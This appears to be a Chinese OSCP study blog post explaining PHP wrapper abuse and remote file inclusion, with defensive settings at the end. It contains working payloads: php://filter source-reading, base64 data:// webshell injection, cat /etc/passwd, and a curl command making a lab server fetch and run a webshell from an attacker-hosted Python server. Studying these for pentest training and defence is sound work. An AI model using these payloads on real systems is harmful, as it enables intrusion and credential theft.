4-5〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸远程文件包含漏洞
郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉Whoami!-CSDN博客🚀
𖤐 现在,我们渐入佳境了,保持耐心,继续前行 !
𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!
→ 信息收集
→ 漏洞检测
→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 🔥🔥🔥
→ 权限提升
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
1 常见WEB应用攻击
1.2 文件包含漏洞
1.2.3 PHP协议包装器(Wrappers)介绍
1.2.3.1 PHP协议包装器概述
1.2.3.2 重点包装器
1.2.3.3 利用php://filter读取敏感信息
1.攻击流程图
2.攻击详细步骤
1.2.3.4 利用data://实现代码执行
1. data://攻击流程图
2. data://包装器攻击详解表
3. 攻击前提条件与限制
1.2.4 远程文件包含漏洞(RFI)
1.2.4.1 远程文件包含漏洞(RFI)概述
1.2.4.2 RFI实战攻击步骤
1.准备Webshell
2.启动Web服务器(将simple-backdoor.php作为远程文件)
3.发起RFI攻击
4.验证攻击结果
1.2.4.3 RFI防护策略
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
1 常见WEB应用攻击
Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:
-
📁 目录遍历 - 通过操纵文件路径访问未授权资源
-
📄 文件包含漏洞 - 包含恶意文件执行代码---远程文件包含漏洞(本文)
-
⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权
-
⚡ 命令注入 - 在输入中注入系统命令执行
1.2 文件包含漏洞
接前文。
1.2.3 PHP协议包装器(Wrappers)介绍
PHP协议包装器就像“万能钥匙” 🗝️,允许PHP以不同方式访问本地或远程资源(如文件、网络)。它们增强了PHP的功能,但攻击者常利用它们绕过安全过滤器,通过文件包含漏洞获取敏感信息或代码执行权限。
1.2.3.1 PHP协议包装器概述
-
什么是包装器?
PHP包装器是内置的协议处理器,类似于“交通枢纽” 🚦,让PHP能通过统一接口(如file://
、http://
、php://
)访问多样资源。 -
常见类型:
包装器类型 用途 file://
访问本地文件系统 http://
通过HTTP访问网络资源 php://
处理PHP流(如输入/输出) data://
直接嵌入数据(如Base64编码) -
攻击面:
⚠️ 攻击者尤其关注php://filter
和data://
,因为它们能绕过过滤器或读取非执行文件(如配置文件)。
1.2.3.2 重点包装器
-
功能比喻:
php://filter
像一个“魔法滤镜” 🪄,能在读取文件时进行编码转换(如Base64、ROT13),从而改变文件内容的显示方式。 -
攻击利用:
-
绕过过滤器:如果Web应用程序限制了文件访问,攻击者可用
php://filter
将PHP文件内容编码后读取(例如,Base64编码),避免直接执行代码。-
示例:
include("php://filter/convert.base64-encode/resource=config.php")
会以Base64显示config.php
的源代码,而非执行它。
-
-
LFI(本地文件包含)漏洞利用:
通过路径遍历(如../../../etc/passwd
)结合php://filter
,攻击者能读取敏感文件(如数据库密码)。
-
-
流程图:这就像“用X光扫描文件” 🔍,直接查看内部结构,而不触发执行。
正常访问:用户请求 → 执行PHP代码 → 输出结果 攻击路径:用户请求 → 使用php://filter编码 → 读取源代码 → 解码获取信息
📊 主要包装器利用
风险类型 | 包装器示例 | 攻击效果 | 比喻 |
---|---|---|---|
文件读取绕过 | php://filter | 读取PHP源代码 | 偷看日记本📖而不被发现 |
远程代码执行 | data:// | 通过嵌入数据执行代码 | 通过“密信”💌传递恶意指令 |
路径遍历 | file:// | 访问系统敏感文件 | 用万能钥匙🗝️打开禁止的房间 |
💡 形象比喻总结
-
PHP包装器就像“瑞士军刀” 🛠️:功能多样,但若被恶意使用,会成为攻击工具。
-
php://filter
是“解码器”:它将执行式访问转为“只读模式”,如同将电影转为剧本——攻击者能分析代码漏洞。 -
防御建议:
🔒 严格验证用户输入路径,禁用危险包装器(如通过allow_url_include=Off
),并定期审计代码。
1.2.3.3 利用php://filter读取敏感信息
以下是攻击者通过php://filter包装器读取敏感信息的完整攻击流程:
1.攻击流程图
2.攻击详细步骤
步骤 | 操作描述 | 关键发现 | 结果分析 |
---|---|---|---|
① 直接访问 | page=admin.php | 显示标题和维护文本,但HTML代码不完整 | PHP代码在服务器端执行,无法查看源代码 |
② 无编码过滤 | php://filter/resource=admin.php | 输出结果与直接访问相同 | PHP代码仍然被执行,无法达到读取源码目的 |
③ Base64编码 | php://filter/convert.base64-encode/resource=admin.php | 获取Base64编码字符串,页面正常加载 | 成功绕过执行,以编码形式获取文件内容 |
④ 解码数据 | 终端执行base64 -d 解码 | 获得完整的PHP源代码,包含MySQL连接信息 | 发现数据库用户名、密码等敏感凭据 |
⑤ 利用凭据 | 使用获取的凭据登录 | 可实现数据库连接或SSH登录 | 完成权限提升,获得系统访问权 |
各步骤图示:
① 直接访问:下图显示之前审查网页应用程序时已经遇到的标题和维护文本。 注意到:
HTML代码的末尾没有关闭<body>标签。合理推测,有些东西丢失了。PHP代码将在服务器端执行,因此不会显示。
当我们将此输出与在浏览器中查看源代码时得出结论,index.php页面的其余内容丢失了。
② 无编码过滤:使用php://filter来包含文件。现在,不对其进行任何编码。PHP包装器使用resource作为必需的参数,用于指定用于过滤的文件流,这里的情况是文件名。我们还可以在此参数中指定绝对路径或相对路径。
输出显示相同的结果。因为PHP代码通过LFI漏洞被包含和执行。
③ Base64编码:使用base64对输出进行编码通过添加convert.base64-encode。 这将将指定的资源转换为base64字符串。下图包含了base64编码的数据。
④ 解码数据:使用base64程序和-d标志(解码)在终端中解码编码的数据。显示出完整(包括之前被执行)的代码,解码后的数据包含:MySQL连接信息,包括用户名和密码!!!
⑤ 利用凭据:可使用这些凭据连接到数据库,或者尝试使用SSH登录用户账户的密码。
为什么需要编码?
➤ 直接包含PHP文件会导致代码被执行而非显示
➤ Base64编码将源代码转为纯文本格式,避免执行攻击成功的关键
✅ LFI漏洞存在 - 可动态包含文件
✅ php://filter可用 - 服务器未禁用危险包装器
✅ 敏感信息硬编码 - 配置文件包含明文凭据
🛡️ 防御启示
# 危险配置(导致漏洞) allow_url_include = On# 安全配置(建议) allow_url_include = Off php://filter包装器限制使用
核心教训:永远不要在源代码中硬编码敏感信息,并严格限制文件包含功能! 🔒
1.2.3.4 利用data://实现代码执行
以下是使用data://包装器嵌入恶意代码的完整攻击流程:
1. data://攻击流程图
2. data://包装器攻击详解表
攻击阶段 | 技术细节 | 关键命令/代码 | 防御规避效果 |
---|---|---|---|
① 明文数据注入 | 直接嵌入PHP代码 | data://text/plain,<?php system("ls");?> | 基本WAF可检测 |
② Base64编码绕过 | 编码规避安全检测 | data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4= | 绕过字符串过滤 |
③ 命令执行 | 通过参数传递命令 | ?cmd=id 或 ?cmd=cat /etc/passwd | 动态命令执行 |
① 明文数据注入:使用该包装器,添加data://后跟数据类型和内容。尝试将一个小的URL编码的PHP片段嵌入到Web应用程序的代码中,使用ls命令。text/plain 是MIME 类型,表示数据是纯文本格式。看到,命令被执行了。
② Base64编码绕过:但是,直接明文注入,会被WAF检测到!因此需要编码后注入。
我们先将PHP代码片段编码为base64,然后使用curl将其嵌入并通过 data://包装器执行。
$ echo -n '<?php echo system($_GET["cmd"]);?>' | base64//-n ,echo就不会在输出后自动添加换行符;然后进行base64编码。如果你使用echo -n:echo -n "Hello",会输出:HelloWorld(即,world跟在后面)
data://包装器语法结构
data://[<MIME-type>][;base64],<data>
-
MIME-type: 指定数据类型,如
text/plain
、text/html
-
base64标识: 可选,表示数据为Base64编码
-
数据内容: 要嵌入的实际代码或数据
攻击示例对比
攻击类型 | URL示例 | 优点 | 风险 |
---|---|---|---|
明文攻击 | data://text/plain,<?php system("ls");?> | 简单直接 | 易被检测 |
编码攻击 | data://text/plain;base64,PD9waHA... | 绕过过滤 | 需要编码 |
3. 攻击前提条件与限制
默认的PHP安装中,data://包装器不起作用。要利用它,必须启用allow_url_include设置。
allow_url_include = On ; ✅ 允许URL包含
allow_url_fopen = On ; ✅ 允许URL文件操作
allow_url_include核心概念
属性 | 详细说明 |
---|---|
配置类型 | PHP.ini中的安全配置选项 |
控制范围 | include , require , include_once , require_once |
默认状态 | Off(关闭) - 安全优先 |
📊 配置状态对比表
配置状态 | 功能权限 | 安全风险 | 推荐场景 | 风险等级 |
---|---|---|---|---|
✅ On(开启) | 允许包含远程文件(HTTP/FTP) | 🔴 高危:RFI漏洞 | 开发测试环境 | 💀 |
❌ Off(关闭) | 仅允许包含本地文件 | 🟢 低危 | 生产环境 | ✅ |
# 📍 配置文件位置:php.ini
# 开启远程包含(危险!)
allow_url_include = On# 关闭远程包含(推荐安全设置)
allow_url_include = Off
💻 代码示例对比
允许远程包含时(allow_url_include = On)
<?php
// 🚨 危险代码示例 - 可能被恶意利用
include('http://evil.com/malicious.php');
?>
执行结果:✅ 可正常包含并执行远程恶意代码
禁止远程包含时(allow_url_include = Off)
<?php
// 🔒 安全限制 - 包含远程文件会报错
include('http://evil.com/malicious.php');
?>
执行结果:❌ Warning: include(): http:// wrapper is disabled in the server configuration
RFI(远程文件包含)攻击流程
攻击场景示例 :http://victim.com/index.php?page=http://attacker.com/shell.txt
-
攻击结果:服务器下载并执行攻击者的远程恶意脚本
1.2.4 远程文件包含漏洞(RFI)
1.2.4.1 远程文件包含漏洞(RFI)概述
属性 | 详细说明 | 风险等级 |
---|---|---|
漏洞类型 | 远程文件包含攻击 | 🔴 高危 |
出现频率 | 比LFI更少见(需特定配置) | ⭐⭐ |
攻击条件 | allow_url_include = On | 关键前提 |
📊 LFI vs RFI对比表
特性 | LFI(本地文件包含) | RFI(远程文件包含) |
---|---|---|
文件来源 | 本地文件系统 | 远程服务器(HTTP/SMB等) |
配置要求 | 通常默认存在 | allow_url_include = On |
攻击难度 | 相对容易 | 需要特定配置 |
危害范围 | 本地信息泄露 | 远程代码执行+持久化 |
漏洞发现 | LFI部分介绍的相同技术来发现RFI漏洞 | 和LFI部分介绍的相同发现的技术 |
🔧 RFI攻击流程详解
-
🕵️ 侦察阶段 - 发现文件包含参数
-
🔧 准备阶段 - 准备恶意Webshell
-
🌐 服务阶段 - 搭建远程文件服务器
-
⚡ 攻击阶段 - 触发远程文件包含
-
🎯 控制阶段 - 获取系统权限
1.2.4.2 RFI实战攻击步骤
1.准备Webshell
Kali在 /usr/share/webshells/php/ 目录中的几个PHP webshell,可用于RFI。
webshell是一个小脚本,提供基于Web的命令行界面,使执行命令更加简单和方便。在这个例子中,将使用simple-backdoor.php webshell来利用“Mountain Desserts”的RFI漏洞。
🛠️ 常用Webshell类型对比
Webshell名称 | 功能特点 | 适用场景 | 隐蔽性 |
---|---|---|---|
simple-backdoor.php | 基础命令执行 | RFI测试 | ⭐⭐ |
php-reverse-shell.php | 反向连接shell | 持久化访问 | ⭐⭐⭐ |
c99.php | 图形化文件管理 | 高级运维 | ⭐ |
b374k.php | 多功能后门 | 专业渗透 | ⭐⭐ |
2.启动Web服务器(将simple-backdoor.php作为远程文件)
# 🖥️ 在Kali上启动Python HTTP服务器
cd /usr/share/webshells/php/
python3 -m http.server 80# ✅ 服务器运行在:http://<Kali-IP>/simple-backdoor.php
3.发起RFI攻击
# 💣 使用curl进行RFI攻击
$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"
# 📊 攻击参数分解: # - page参数:指向攻击者的远程Webshell:http://192.168.119.3/simple-backdoor.php # - cmd参数:要执行的系统命令
4.验证攻击结果
1.2.4.3 RFI防护策略
配置文件层防护
# 🔒 安全配置(php.ini)
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html
代码层防护
<?php
// ✅ 安全的文件包含实践
$whitelist = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';if (in_array($page, $whitelist)) {include("templates/{$page}.php");
} else {header('HTTP/1.0 403 Forbidden');die('Access Denied');
}
?>
WAF规则示例
# 🛡️ Nginx WAF规则
location ~* \.(php)$ {if ($query_string ~* "(http|https|ftp)://") {return 403;}
}
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!